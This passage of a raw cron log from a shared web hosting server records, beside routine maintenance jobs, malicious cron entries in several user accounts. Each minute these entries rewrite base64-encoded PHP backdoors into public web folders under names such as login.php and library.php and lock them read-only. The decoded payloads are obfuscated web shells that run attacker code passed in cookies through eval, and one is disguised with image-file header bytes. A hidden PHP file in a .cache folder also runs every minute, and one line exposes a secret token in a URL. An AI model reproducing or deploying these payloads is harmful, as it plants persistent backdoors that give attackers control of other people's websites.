3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:06:01 medusa CROND[15294]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:06:01 medusa CROND[15314]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:06:01 medusa CROND[15315]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:06:01 medusa CROND[15317]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:06:01 medusa CROND[15318]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:07:01 medusa CROND[3535]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:07:01 medusa CROND[3722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:07:01 medusa CROND[3723]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:07:01 medusa CROND[3724]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:07:01 medusa CROND[3725]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:07:01 medusa CROND[3726]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:07:01 medusa CROND[3730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:07:01 medusa CROND[3732]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:07:01 medusa CROND[3733]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:07:01 medusa CROND[3738]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:07:01 medusa CROND[3742]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:07:01 medusa CROND[3735]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:08:01 medusa CROND[20175]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 16:08:01 medusa CROND[20403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:08:01 medusa CROND[20402]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:08:01 medusa CROND[20406]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:08:01 medusa CROND[20408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:08:01 medusa CROND[20407]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:08:01 medusa CROND[20409]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:08:01 medusa CROND[20410]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:08:01 medusa CROND[20411]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:08:01 medusa CROND[20413]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:08:01 medusa CROND[20414]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:08:01 medusa CROND[20417]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:08:01 medusa CROND[20420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
